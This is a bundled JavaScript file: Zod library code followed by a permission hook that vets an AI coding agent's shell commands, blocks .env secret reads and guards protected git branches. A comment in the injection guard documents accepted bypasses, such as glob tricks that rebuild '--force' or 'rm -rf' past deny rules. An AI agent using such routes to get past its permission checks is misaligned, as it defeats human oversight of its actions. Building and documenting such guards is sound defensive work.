(inst, def) => {\n $ZodNever.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => neverProcessor(inst, ctx, json, params);\n});\nfunction never(params) {\n return _never(ZodNever, params);\n}\nconst ZodArray = /*@__PURE__*/ $constructor(\"ZodArray\", (inst, def) => {\n $ZodArray.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => arrayProcessor(inst, ctx, json, params);\n inst.element = def.element;\n _installLazyMethods(inst, \"ZodArray\", {\n min(n, params) {\n return this.check(_minLength(n, params));\n },\n nonempty(params) {\n return this.check(_minLength(1, params));\n },\n max(n, params) {\n return this.check(_maxLength(n, params));\n },\n length(n, params) {\n return this.check(_length(n, params));\n },\n unwrap() {\n return this.element;\n }\n });\n});\nfunction array(element, params) {\n return _array(ZodArray, element, params);\n}\nconst ZodObject = /*@__PURE__*/ $constructor(\"ZodObject\", (inst, def) => {\n $ZodObjectJIT.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => objectProcessor(inst, ctx, json, params);\n defineLazy(inst, \"shape\", () => {\n return def.shape;\n });\n _installLazyMethods(inst, \"ZodObject\", {\n keyof() {\n return _enum(Object.keys(this._zod.def.shape));\n },\n catchall(catchall) {\n return this.clone({\n ...this._zod.def,\n catchall\n });\n },\n passthrough() {\n return this.clone({\n ...this._zod.def,\n catchall: unknown()\n });\n },\n loose() {\n return this.clone({\n ...this._zod.def,\n catchall: unknown()\n });\n },\n strict() {\n return this.clone({\n ...this._zod.def,\n catchall: never()\n });\n },\n strip() {\n return this.clone({\n ...this._zod.def,\n catchall: void 0\n });\n },\n extend(incoming) {\n return extend(this, incoming);\n },\n safeExtend(incoming) {\n return safeExtend(this, incoming);\n },\n merge(other) {\n return merge(this, other);\n },\n pick(mask) {\n return pick(this, mask);\n },\n omit(mask) {\n return omit(this, mask);\n },\n partial(...args) {\n return partial(ZodOptional, this, args[0]);\n },\n required(...args) {\n return required(ZodNonOptional, this, args[0]);\n }\n });\n});\nfunction object(shape, params) {\n const def = {\n type: \"object\",\n shape: shape ?? {},\n ...normalizeParams(params)\n };\n return new ZodObject(def);\n}\nconst ZodUnion = /*@__PURE__*/ $constructor(\"ZodUnion\", (inst, def) => {\n $ZodUnion.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => unionProcessor(inst, ctx, json, params);\n inst.options = def.options;\n});\nfunction union(options, params) {\n return new ZodUnion({\n type: \"union\",\n options,\n ...normalizeParams(params)\n });\n}\nconst ZodIntersection = /*@__PURE__*/ $constructor(\"ZodIntersection\", (inst, def) => {\n $ZodIntersection.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => intersectionProcessor(inst, ctx, json, params);\n});\nfunction intersection(left, right) {\n return new ZodIntersection({\n type: \"intersection\",\n left,\n right\n });\n}\nconst ZodRecord = /*@__PURE__*/ $constructor(\"ZodRecord\", (inst, def) => {\n $ZodRecord.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => recordProcessor(inst, ctx, json, params);\n inst.keyType = def.keyType;\n inst.valueType = def.valueType;\n});\nfunction record(keyType, valueType, params) {\n if (!valueType || !valueType._zod) return new ZodRecord({\n type: \"record\",\n keyType: string(),\n valueType: keyType,\n ...normalizeParams(valueType)\n });\n return new ZodRecord({\n type: \"record\",\n keyType,\n valueType,\n ...normalizeParams(params)\n });\n}\nconst ZodEnum = /*@__PURE__*/ $constructor(\"ZodEnum\", (inst, def) => {\n $ZodEnum.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => enumProcessor(inst, ctx, json, params);\n inst.enum = def.entries;\n inst.options = Object.values(def.entries);\n const keys = new Set(Object.keys(def.entries));\n inst.extract = (values, params) => {\n const newEntries = {};\n for (const value of values) if (keys.has(value)) newEntries[value] = def.entries[value];\n else throw new Error(`Key ${value} not found in enum`);\n return new ZodEnum({\n ...def,\n checks: [],\n ...normalizeParams(params),\n entries: newEntries\n });\n };\n inst.exclude = (values, params) => {\n const newEntries = { ...def.entries };\n for (const value of values) if (keys.has(value)) delete newEntries[value];\n else throw new Error(`Key ${value} not found in enum`);\n return new ZodEnum({\n ...def,\n checks: [],\n ...normalizeParams(params),\n entries: newEntries\n });\n };\n});\nfunction _enum(values, params) {\n const entries = Array.isArray(values) ? Object.fromEntries(values.map((v) => [v, v])) : values;\n return new ZodEnum({\n type: \"enum\",\n entries,\n ...normalizeParams(params)\n });\n}\nconst ZodTransform = /*@__PURE__*/ $constructor(\"ZodTransform\", (inst, def) => {\n $ZodTransform.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => transformProcessor(inst, ctx, json, params);\n inst._zod.parse = (payload, _ctx) => {\n if (_ctx.direction === \"backward\") throw new $ZodEncodeError(inst.constructor.name);\n payload.addIssue = (issue$1) => {\n if (typeof issue$1 === \"string\") payload.issues.push(issue(issue$1, payload.value, def));\n else {\n const _issue = issue$1;\n if (_issue.fatal) _issue.continue = false;\n _issue.code ?? (_issue.code = \"custom\");\n _issue.input ?? (_issue.input = payload.value);\n _issue.inst ?? (_issue.inst = inst);\n payload.issues.push(issue(_issue));\n }\n };\n const output = def.transform(payload.value, payload);\n if (output instanceof Promise) return output.then((output) => {\n payload.value = output;\n payload.fallback = true;\n return payload;\n });\n payload.value = output;\n payload.fallback = true;\n return payload;\n };\n});\nfunction transform(fn) {\n return new ZodTransform({\n type: \"transform\",\n transform: fn\n });\n}\nconst ZodOptional = /*@__PURE__*/ $constructor(\"ZodOptional\", (inst, def) => {\n $ZodOptional.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => optionalProcessor(inst, ctx, json, params);\n inst.unwrap = () => inst._zod.def.innerType;\n});\nfunction optional(innerType) {\n return new ZodOptional({\n type: \"optional\",\n innerType\n });\n}\nconst ZodExactOptional = /*@__PURE__*/ $constructor(\"ZodExactOptional\", (inst, def) => {\n $ZodExactOptional.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => optionalProcessor(inst, ctx, json, params);\n inst.unwrap = () => inst._zod.def.innerType;\n});\nfunction exactOptional(innerType) {\n return new ZodExactOptional({\n type: \"optional\",\n innerType\n });\n}\nconst ZodNullable = /*@__PURE__*/ $constructor(\"ZodNullable\", (inst, def) => {\n $ZodNullable.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => nullableProcessor(inst, ctx, json, params);\n inst.unwrap = () => inst._zod.def.innerType;\n});\nfunction nullable(innerType) {\n return new ZodNullable({\n type: \"nullable\",\n innerType\n });\n}\nconst ZodDefault = /*@__PURE__*/ $constructor(\"ZodDefault\", (inst, def) => {\n $ZodDefault.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => defaultProcessor(inst, ctx, json, params);\n inst.unwrap = () => inst._zod.def.innerType;\n inst.removeDefault = inst.unwrap;\n});\nfunction _default(innerType, defaultValue) {\n return new ZodDefault({\n type: \"default\",\n innerType,\n get defaultValue() {\n return typeof defaultValue === \"function\" ? defaultValue() : shallowClone(defaultValue);\n }\n });\n}\nconst ZodPrefault = /*@__PURE__*/ $constructor(\"ZodPrefault\", (inst, def) => {\n $ZodPrefault.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => prefaultProcessor(inst, ctx, json, params);\n inst.unwrap = () => inst._zod.def.innerType;\n});\nfunction prefault(innerType, defaultValue) {\n return new ZodPrefault({\n type: \"prefault\",\n innerType,\n get defaultValue() {\n return typeof defaultValue === \"function\" ? defaultValue() : shallowClone(defaultValue);\n }\n });\n}\nconst ZodNonOptional = /*@__PURE__*/ $constructor(\"ZodNonOptional\", (inst, def) => {\n $ZodNonOptional.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => nonoptionalProcessor(inst, ctx, json, params);\n inst.unwrap = () => inst._zod.def.innerType;\n});\nfunction nonoptional(innerType, params) {\n return new ZodNonOptional({\n type: \"nonoptional\",\n innerType,\n ...normalizeParams(params)\n });\n}\nconst ZodCatch = /*@__PURE__*/ $constructor(\"ZodCatch\", (inst, def) => {\n $ZodCatch.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => catchProcessor(inst, ctx, json, params);\n inst.unwrap = () => inst._zod.def.innerType;\n inst.removeCatch = inst.unwrap;\n});\nfunction _catch(innerType, catchValue) {\n return new ZodCatch({\n type: \"catch\",\n innerType,\n catchValue: typeof catchValue === \"function\" ? catchValue : () => catchValue\n });\n}\nconst ZodPipe = /*@__PURE__*/ $constructor(\"ZodPipe\", (inst, def) => {\n $ZodPipe.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => pipeProcessor(inst, ctx, json, params);\n inst.in = def.in;\n inst.out = def.out;\n});\nfunction pipe(in_, out) {\n return new ZodPipe({\n type: \"pipe\",\n in: in_,\n out\n });\n}\nconst ZodReadonly = /*@__PURE__*/ $constructor(\"ZodReadonly\", (inst, def) => {\n $ZodReadonly.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => readonlyProcessor(inst, ctx, json, params);\n inst.unwrap = () => inst._zod.def.innerType;\n});\nfunction readonly(innerType) {\n return new ZodReadonly({\n type: \"readonly\",\n innerType\n });\n}\nconst ZodCustom = /*@__PURE__*/ $constructor(\"ZodCustom\", (inst, def) => {\n $ZodCustom.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => customProcessor(inst, ctx, json, params);\n});\nfunction refine(fn, _params = {}) {\n return _refine(ZodCustom, fn, _params);\n}\nfunction superRefine(fn, params) {\n return _superRefine(fn, params);\n}\n\n//#endregion\n//#region src/lib/hook-io.ts\nconst HookInputSchema = object({\n session_id: string(),\n transcript_path: string(),\n cwd: string(),\n permission_mode: string(),\n hook_event_name: string(),\n tool_name: string(),\n tool_input: record(string(), unknown())\n});\n/**\n* Read and parse the full stdin as JSON.\n* Returns a result with the validated HookInput, or the raw data and error on failure.\n*/\nasync function readHookInput() {\n const chunks = [];\n for await (const chunk of process.stdin) chunks.push(typeof chunk === \"string\" ? chunk : String(chunk));\n let parsed;\n try {\n parsed = JSON.parse(chunks.join(\"\"));\n } catch (_error) {\n return {\n ok: false,\n raw: chunks.join(\"\").slice(0, 200),\n error: \"invalid JSON\"\n };\n }\n const result = HookInputSchema.safeParse(parsed);\n if (!result.success) return {\n ok: false,\n raw: parsed,\n error: result.error.message\n };\n return {\n ok: true,\n data: result.data\n };\n}\nconst BashInputSchema = object({\n command: string(),\n description: optional(string())\n});\nconst FilePathInputSchema = object({ file_path: string() });\nconst SearchInputSchema = object({\n pattern: string(),\n path: optional(string())\n});\n/** Parse tool_input as Bash input. Returns null if invalid. */\nfunction parseBashInput(toolInput) {\n const result = BashInputSchema.safeParse(toolInput);\n return result.success ? result.data : null;\n}\n/** Parse tool_input as file-path input (Read, Write, Edit). Returns null if invalid. */\nfunction parseFilePathInput(toolInput) {\n const result = FilePathInputSchema.safeParse(toolInput);\n return result.success ? result.data : null;\n}\n/** Parse tool_input as search input (Glob, Grep). Returns null if invalid. */\nfunction parseSearchInput(toolInput) {\n const result = SearchInputSchema.safeParse(toolInput);\n return result.success ? result.data : null;\n}\nfunction writeDecision(action, detail) {\n const decision = { hookSpecificOutput: {\n hookEventName: \"PreToolUse\",\n permissionDecision: action,\n ...action === \"deny\" && detail ? { permissionDecisionReason: detail } : {},\n ...action === \"allow\" && detail ? { additionalContext: detail } : {}\n } };\n process.stdout.write(JSON.stringify(decision));\n}\n\n//#endregion\n//#region src/lib/audit.ts\nconst MAX_LOG_SIZE = 1048576;\n/**\n* Resolve the audit log path relative to the hook's own location.\n* Co-located at `.claude/hooks/bst-hook.audit.local.jsonl`.\n*/\nfunction getLogPath() {\n const hookDir = path.dirname(fileURLToPath(import.meta.url));\n return path.join(hookDir, \"bst-hook.audit.local.jsonl\");\n}\n/**\n* Rotate the log file if it exceeds MAX_LOG_SIZE.\n* Renames current log to `.1` and starts fresh.\n* Safe against concurrent rotation -- ENOENT on rename is expected and ignored.\n*/\nfunction rotateIfNeeded(logPath) {\n try {\n if (fs.statSync(logPath).size > MAX_LOG_SIZE) {\n const rotatedPath = `${logPath}.1`;\n fs.renameSync(logPath, rotatedPath);\n }\n } catch (_error) {}\n}\n/** Whether rotation has been checked this session */\nlet rotationChecked = false;\n/**\n* Append an audit entry to the JSONL log.\n* Never throws -- audit failures log to stderr and continue.\n*/\nfunction audit(entry) {\n try {\n const logPath = getLogPath();\n if (!rotationChecked) {\n rotateIfNeeded(logPath);\n rotationChecked = true;\n }\n const record = {\n timestamp: (/* @__PURE__ */ new Date()).toISOString(),\n ...entry\n };\n fs.appendFileSync(logPath, JSON.stringify(record) + \"\\n\");\n } catch (err) {\n process.stderr.write(`[bst-hook] audit write failed: ${err instanceof Error ? err.message : String(err)}\\n`);\n }\n}\n\n//#endregion\n//#region src/lib/shell-tokenizer.ts\n/**\n* Scan a double-quoted string starting at `start` (the char after the opening\n* quote). Returns the unescaped content and the index just past the closing\n* quote, or `null` if the quote is never closed.\n*/\nfunction scanDoubleQuoted(input, start) {\n let content = \"\";\n let i = start;\n while (i < input.length && input[i] !== \"\\\"\") {\n if (input[i] === \"\\\\\" && i + 1 < input.length) {\n const next = input[i + 1];\n if (next === \"\\\"\" || next === \"\\\\\" || next === \"$\" || next === \"`\") {\n content += next;\n i += 2;\n continue;\n }\n }\n content += input[i];\n i++;\n }\n if (i >= input.length) return null;\n return {\n content,\n next: i + 1\n };\n}\nfunction tokenize(input) {\n const tokens = [];\n let current = \"\";\n let i = 0;\n let inToken = false;\n while (i < input.length) {\n const ch = input[i];\n if (ch === \"'\") {\n inToken = true;\n i++;\n while (i < input.length && input[i] !== \"'\") {\n current += input[i];\n i++;\n }\n if (i >= input.length) return {\n ok: false,\n error: \"unterminated single quote\"\n };\n i++;\n } else if (ch === \"\\\"\") {\n inToken = true;\n const scanned = scanDoubleQuoted(input, i + 1);\n if (!scanned) return {\n ok: false,\n error: \"unterminated double quote\"\n };\n current += scanned.content;\n i = scanned.next;\n } else if (ch === \"\\\\\" && i + 1 < input.length) {\n inToken = true;\n current += input[i + 1];\n i += 2;\n } else if (ch === \" \" || ch === \" \") {\n if (inToken) {\n tokens.push(current);\n current = \"\";\n inToken = false;\n }\n i++;\n } else {\n inToken = true;\n current += ch;\n i++;\n }\n }\n if (inToken) tokens.push(current);\n return {\n ok: true,\n tokens\n };\n}\n/**\n* Characters safe to leave unquoted when re-emitting a token. Anything outside\n* this set could be interpreted by the shell-splitter or tokenizer on a\n* subsequent pass (operators, whitespace, quotes, globs, vars, etc.).\n*/\nconst SAFE_UNQUOTED_RE = /^[A-Za-z0-9_\\-./=:@%+,]+$/;\n/** Single-quote-wrap a token unless it only contains safe characters. */\nfunction quoteToken(token) {\n if (token.length > 0 && SAFE_UNQUOTED_RE.test(token)) return token;\n return \"'\" + token.replace(/'/g, \"'\\\\''\") + \"'\";\n}\n/**\n* Inverse of `tokenize`: join tokens into a command string that survives\n* round-tripping through `splitCommand` and `tokenize`.\n*\n* Naive `tokens.join(\" \")` is lossy: any token that was originally quoted\n* loses its quote wrapper and may be mis-parsed when split/tokenized again\n* (e.g. `--testPathPattern=a|b` would split on the embedded `|`).\n*/\nfunction joinTokens(tokens) {\n return tokens.map(quoteToken).join(\" \");\n}\n\n//#endregion\n//#region src/lib/shell-splitter.ts\n/**\n* Split a raw command string into segments on unquoted &&, ||, ;, and | operators.\n* Quote-aware: operators inside single or double quotes are not split points.\n*\n* Returns segments with the operator that follows each one (null for the last segment).\n*/\nfunction splitCommand(input) {\n if (!input || !input.trim()) return [];\n const segments = [];\n let current = \"\";\n let i = 0;\n let inSingleQuote = false;\n let inDoubleQuote = false;\n while (i < input.length) {\n const ch = input[i];\n if (ch === \"'\" && !inDoubleQuote) {\n inSingleQuote = !inSingleQuote;\n current += ch;\n i++;\n continue;\n }\n if (ch === \"\\\"\" && !inSingleQuote) {\n inDoubleQuote = !inDoubleQuote;\n current += ch;\n i++;\n continue;\n }\n if (ch === \"\\\\\" && !inSingleQuote && i + 1 < input.length) {\n current += ch + input[i + 1];\n i += 2;\n continue;\n }\n if (!inSingleQuote && !inDoubleQuote) {\n if (ch === \"&\" && i + 1 < input.length && input[i + 1] === \"&\") {\n pushSegment(segments, current, \"&&\");\n current = \"\";\n i += 2;\n continue;\n }\n if (ch === \"&\" && !(i + 1 < input.length && input[i + 1] === \">\") && !(i > 0 && (input[i - 1] === \">\" || input[i - 1] === \"<\"))) {\n pushSegment(segments, current, \"&\");\n current = \"\";\n i++;\n continue;\n }\n if (ch === \"|\" && i + 1 < input.length && input[i + 1] === \"|\") {\n pushSegment(segments, current, \"||\");\n current = \"\";\n i += 2;\n continue;\n }\n if (ch === \"|\") {\n pushSegment(segments, current, \"|\");\n current = \"\";\n i++;\n continue;\n }\n if (ch === \";\") {\n pushSegment(segments, current, \";\");\n current = \"\";\n i++;\n continue;\n }\n }\n current += ch;\n i++;\n }\n const trimmed = current.trim();\n if (trimmed) segments.push({\n command: trimmed,\n operator: null\n });\n return segments;\n}\nfunction pushSegment(segments, text, operator) {\n const trimmed = text.trim();\n if (trimmed) segments.push({\n command: trimmed,\n operator\n });\n}\n\n//#endregion\n//#region src/lib/injection-guard.ts\n/** Safe redirect patterns that don't constitute file writes */\nconst SAFE_REDIRECTS = /* @__PURE__ */ new Set([\n \"2>&1\",\n \"2>/dev/null\",\n \">/dev/null\",\n \"1>/dev/null\"\n]);\n/**\n* Bash brace expansion: a `{...}` group containing a comma (list form,\n* `{a,b}`/`{a,}`/`{,a}`) or `..` (range form, `{1..3}`/`{a..z}`) is expanded\n* into multiple words *before* the command runs -- so `--for{c,}e` reaches the\n* program as argv `--force --fore` and `r{m,}m` as `rmm rm`. Braces without a\n* comma or `..` (`a{b}`, `HEAD@{1}`, `{}`) are left literal by bash and must\n* not be flagged.\n*\n* Bash brace expansion is *recursive*: a comma/range list expands even when a\n* branch of it contains its own nested `{...}`, so `--for{c,{}}e` still yields\n* `--force`. A regex cannot express \"a `,` or `..` at balanced brace depth\"\n* (the earlier `/\\{[^{}]*(?:,|\\.\\.)[^{}]*\\}/` required the separator to be\n* flanked by brace-free text out to the enclosing braces, which nested braces\n* defeat while bash still expands). So this is a depth-aware scan: increment on\n* `{`, decrement on `}` (never below 0), and flag the token if a `,` or `..`\n* appears while depth >= 1 -- i.e. anywhere inside any brace group, no matter\n* how deeply nested. Fail-closed: unbalanced braces are flagged too.\n*\n* As with `$`-expansion, the tokenizer has already stripped single quotes by\n* the time `checkInjection` runs, so a genuinely-quoted `'{a,b}'` or\n* `'{\"a\":1,\"b\":2}'` is indistinguishable from an unquoted brace-expansion here\n* and is flagged too -- an accepted fail-closed false positive (passthrough\n* only prompts a human).\n*/\nfunction hasBraceExpansion(token) {\n let depth = 0;\n for (let i = 0; i < token.length; i++) {\n const ch = token[i];\n if (ch === \"{\") depth++;\n else if (ch === \"}\") {\n if (depth > 0) depth--;\n } else if (depth >= 1 && (ch === \",\" || ch === \".\" && token[i + 1] === \".\")) return true;\n }\n return false;\n}\n/**\n* An output-redirect token is safe only when it targets `/dev/null` -- either as\n* a combined token (`>/dev/null`) or a bare operator whose next token is `/dev/null`.\n*/\nfunction isSafeOutputRedirect(token, next) {\n if (token.endsWith(\">/dev/null\")) return true;\n return token.match(/^(&>>|&>|>>|>|1>|2>)$/) !== null && next === \"/dev/null\";\n}\n/**\n* Detect dangerous patterns in tokenized command segments.\n*\n* Checks for:\n* - Command substitution (`$(...)`, backticks)\n* - Any other unresolved `$`-expansion (`${...}`, `$'...'`, `$\"...\"`, `$VAR`, `$1`, ...)\n* - Brace expansion (`{a,b}` list form, `{1..3}` range form)\n* - Process substitution (`<(...)`, `>(...)`)\n* - File redirects (`>`, `>>`, `<` to non-/dev/null targets) -- skipped when `skipRedirects` is true\n* - Newlines in raw segment (injection via line splitting)\n*\n* The tokenizer (`shell-tokenizer.ts`) resolves single-quoted and\n* backslash-escaped content into plain characters before this function ever\n* sees it -- so a token's surviving `$` is indistinguishable between \"bash\n* will expand this\" (`$(...)`, `${...}`, `$'...'`, `$\"...\"`, `$VAR`, `$1`,\n* `$@`, `$?`, ...) and \"this `$` was always a literal character\" (e.g. from\n* `'cost $5'` or `\\$5`). Rather than trying to reconstruct quote context\n* after the fact, any token still containing a `$` is treated as unsafe.\n* This is deliberately fail-closed: it routes the segment to passthrough\n* (a human is prompted) rather than risking an unresolved expansion silently\n* auto-approving or auto-denying based on the wrong argv.\n*\n* ## Expansions this guard knowingly does NOT model\n*\n* Two weaker members of the same \"unmodeled expansion\" family are left open. Both were\n* surfaced by the adversarial review of the issue-attachments hardening and verified\n* empirically against real bash plus this evaluator. **Decision (2026-07-13): accept as\n* documented limitations.** They are recorded here, not as a todo, because the next\n* person to touch this function is the person who needs to know.\n*\n* **Glob reconstruction.** `bst issue:download 273 --forc[e]` (also `--forc?`, `--for*`,\n* `--*`) expands to a real `--force` argv and this returns `safe` -- but *only when a file\n* literally named `--force` already exists in the working directory*. Creating that file\n* is itself hook-gated (`> --force` is caught as a redirect; `touch -- --force` falls to\n* passthrough), so it is a two-step, precondition-gated exploit -- strictly weaker than the\n* unconditional `$`/brace bypasses that were fixed. The same class defeats deny rules\n* (`r[m] -rf`), again only with a pre-existing matching file.\n*\n* *Why not fixed:* closing it means routing any token containing an unquoted glob\n* metacharacter (`*`, `?`, `[`) to passthrough -- which prompts on `ls *.md`, `find . -name\n* '*.ts'`, and nearly every globbing command an agent legitimately runs. Unlike `$` and\n* brace expansion (rare in real commands), globs are everywhere, so the prompt-fatigue\n* cost is real and daily, and a guard people learn to click through protects nobody.\n* Revisit only if a cheaper predicate emerges -- the candidate is to flag a glob metachar\n* **only in a token that also begins with `-`** (a flag position, which is where the\n* reconstruction attack lives), leaving bare-argument globs like `*.md` allowed. That\n* would live right here, beside {@link hasBraceExpansion}.\n*\n* **Tilde expansion.** `~` is unmodeled. Bash only expands it to a home *path* at word\n* start, so it cannot reconstruct a flag or a command name -- it is a path-scope concern,\n* not the flag/command-reconstruction vector this guard defends against. Lowest priority;\n* noted for completeness.\n*\n* If either is ever closed, pin it with regression fixtures the way the nested-brace cases\n* were pinned in `tests/fixtures.ts`.\n*\n* @param skipRedirects When true, skip redirect analysis (used for trusted resolved scripts)\n*/\nfunction checkInjection(tokens, rawSegment, skipRedirects = false) {\n if (/[\\n\\r]/.test(rawSegment)) return {\n safe: false,\n reason: \"unquoted newline in command\"\n };\n for (const token of tokens) {\n if (token === \"`\") return {\n safe: false,\n reason: \"backtick command substitution\"\n };\n if (token.includes(\"`\")) return {\n safe: false,\n reason: \"backtick command substitution\"\n };\n if (token.includes(\"$\")) return {\n safe: false,\n reason: \"unresolved dollar-expansion\"\n };\n if (hasBraceExpansion(token)) return {\n safe: false,\n reason: \"brace expansion\"\n };\n if (token.includes(\"<(\")) return {\n safe: false,\n reason: \"process substitution\"\n };\n if (token.includes(\">(\") && !SAFE_REDIRECTS.has(token)) return {\n safe: false,\n reason: \"process substitution\"\n };\n }\n if (!skipRedirects) for (let i = 0; i < tokens.length; i++) {\n const token = tokens[i];\n if (SAFE_REDIRECTS.has(token)) continue;\n if (token.includes(\"<\") && !token.includes(\"<(\")) return {\n safe: false,\n reason: \"input redirect\"\n };\n if (token.includes(\">\")) {\n if (isSafeOutputRedirect(token, tokens[i + 1])) continue;\n return {\n safe: false,\n reason: \"output redirect to file\"\n };\n }\n }\n return { safe: true };\n}\n\n//#endregion\n//#region src/lib/env-file.ts\n/**\n* File extensions considered safe documentation templates.\n* Files ending with these suffixes are NOT treated as secret .env files.\n*/\nconst ENV_SAFE_SUFFIXES = [\n \".sample\",\n \".example\",\n \".template\"\n];\n/**\n* Env files owned by a bst command rather than by the developer's secrets.\n*\n* `docker-compose.check.env` is the file `bst docker:check` auto-detects and\n* passes to compose as `--env-file`. It is committed, and it holds placeholder\n* values for a throwaway check stack -- yet it is also the *only* way to feed\n* compose interpolation, so denying it left an agent unable to create or read\n* the one file the check needs. Two bst features blocking each other is worse\n* than the marginal secret risk of a file whose purpose is to hold non-secrets.\n*/\nconst ENV_TOOL_OWNED_SUFFIXES = [\".check.env\"];\n/**\n* Pattern matching .env files: `.env`, `.env.local`, `.env.production`, etc.\n* Does NOT match `.env.sample`, `.env.example`, `.env.template`.\n*/\nconst ENV_FILE_PATTERN = /(^|[/\\\\])(\\.env(\\..*)?|.*\\.env(\\..*)?|\\.env)$/;\n/** Check if a filename is a safe .env documentation template, or a bst-owned env file. */\nfunction isEnvSafeSuffix(filename) {\n return [...ENV_SAFE_SUFFIXES, ...ENV_TOOL_OWNED_SUFFIXES].some((suffix) => filename.endsWith(suffix));\n}\n/**\n* Check if a path targets a .env file (excluding safe templates).\n* Works with both bare filenames and full paths.\n*/\nfunction isEnvFile(filePath) {\n if (isEnvSafeSuffix(path.basename(filePath))) return false;\n return ENV_FILE_PATTERN.test(filePath);\n}\n/**\n* Check if any non-flag token in a Bash command targets a .env file.\n* Used by Bash deny rules for cat, head, tail, grep, etc.\n*/\nfunction tokensTargetEnvFile(tokens) {\n return tokens.slice(1).some((t) => !t.startsWith(\"-\") && isEnvFile(t));\n}\n\n//#endregion\n//#region src/lib/git-state.ts\n/**\n* Return the current branch name, or null when:\n* - cwd is not a git repository,\n* - HEAD is detached,\n* - any git invocation fails.\n*\n* Null is the safe protected default -- callers treat it as \"protected\".\n*/\nfunction getCurrentBranch(cwd) {\n try {\n const out = execFileSync(\"git\", [\n \"rev-parse\",\n \"--abbrev-ref\",\n \"HEAD\"\n ], {\n cwd,\n stdio: [\n \"ignore\",\n \"pipe\",\n \"ignore\"\n ]\n }).toString().trim();\n if (!out || out === \"HEAD\") return null;\n return out;\n } catch {\n return null;\n }\n}\n/**\n* Return the remote default branch (from refs/remotes/origin/HEAD), stripped\n* of the \"origin/\" prefix. Returns null when the symbolic ref isn't set\n* (common for fresh clones with no remote).\n*/\nfunction getRemoteDefaultBranch(cwd) {\n try {\n const out = execFileSync(\"git\", [\n \"symbolic-ref\",\n \"--short\",\n \"refs/remotes/origin/HEAD\"\n ], {\n cwd,\n stdio: [\n \"ignore\",\n \"pipe\",\n \"ignore\"\n ]\n }).toString().trim();\n if (!out) return null;\n return out.startsWith(\"origin/\") ? out.slice(7) : out;\n } catch {\n return null;\n }\n}\nconst ALWAYS_PROTECTED = [\"main\", \"master\"];\n/**\n* Compute the full protected set: hard-coded {main, master}, plus the remote\n* default branch when available, plus any caller-supplied extras (e.g. from\n* .claude/hooks/bst-hook.settings.json#protectedBranches).\n*\n* Known limitation: if a repo's real default branch is neither \"main\" nor\n* \"master\" AND refs/remotes/origin/HEAD is unset (getRemoteDefaultBranch()\n* returns null -- e.g. a shallow or partial clone that never fetched the\n* symbolic ref), that default branch is absent from this set. A push whose\n* refspec destination is that branch would then pass the protected-branch\n* check in isGitSafePush. This is not treated as a reason to block pushes\n* whenever origin/HEAD is unset, since that would break the far more common\n* case (default branch already covered by {main, master} or by\n* protectedBranches); repos with a non-standard default branch name should\n* set it explicitly via .claude/hooks/bst-hook.settings.json#protectedBranches.\n*/\nfunction getProtectedBranches(cwd, extra) {\n const set = new Set(ALWAYS_PROTECTED);\n const remote = getRemoteDefaultBranch(cwd);\n if (remote) set.add(remote);\n for (const b of extra) set.add(b);\n return set;\n}\n/**\n* Configured remote names (`git remote`). Empty when cwd is not a repo or git\n* fails -- the safe default, since callers require membership to auto-approve.\n*/\nfunction getRemotes(cwd) {\n try {\n const out = execFileSync(\"git\", [\"remote\"], {\n cwd,\n stdio: [\n \"ignore\",\n \"pipe\",\n \"ignore\"\n ]\n }).toString().trim();\n if (!out) return /* @__PURE__ */ new Set();\n return new Set(out.split(\"\\n\").map((line) => line.trim()).filter(Boolean));\n } catch {\n return /* @__PURE__ */ new Set();\n }\n}\n/**\n* True when `cwd` is the repository's *primary* worktree (not a linked one\n* created by `git worktree add`). In the primary worktree the git dir and the\n* common git dir are the same directory; in a linked worktree the git dir is\n* `.../.git/worktrees/<name>` while the common dir is the shared `.../.git`.\n*\n* Fail-safe: any git/filesystem error returns `false` (treated as \"not primary\",\n* i.e. no advisory) so a hiccup never disturbs the decision. Mirrors the\n* \"safe default\" convention of getCurrentBranch.\n*/\nfunction isPrimaryWorktree(cwd) {\n try {\n const gitDir = execFileSync(\"git\", [\"rev-parse\", \"--absolute-git-dir\"], {\n cwd,\n stdio: [\n \"ignore\",\n \"pipe\",\n \"ignore\"\n ]\n }).toString().trim();\n const commonRaw = execFileSync(\"git\", [\"rev-parse\", \"--git-common-dir\"], {\n cwd,\n stdio: [\n \"ignore\",\n \"pipe\",\n \"ignore\"\n ]\n }).toString().trim();\n if (!gitDir || !commonRaw) return false;\n const commonDir = resolve(cwd, commonRaw);\n return realpathSync(gitDir) === realpathSync(commonDir);\n } catch {\n return false;\n }\n}\n\n//#endregion\n//#region src/lib/git-short-options.ts\n/** Per-subcommand required-value short option letters. Deliberately excludes\n* `-t` (`--track`): see the note below the value-taking sets.\n*/\nconst VALUE_TAKING_LETTERS = {\n switch: /* @__PURE__ */ new Set([\"c\", \"C\"]),\n checkout: /* @__PURE__ */ new Set([\"b\", \"B\"])\n};\n/**\n* Decompose a short-option cluster token for `sub`. Returns `undefined` for\n* anything that is not a short-option cluster: a token that does not start\n* with `-`, the bare `-`, and anything starting with `--`. Every caller 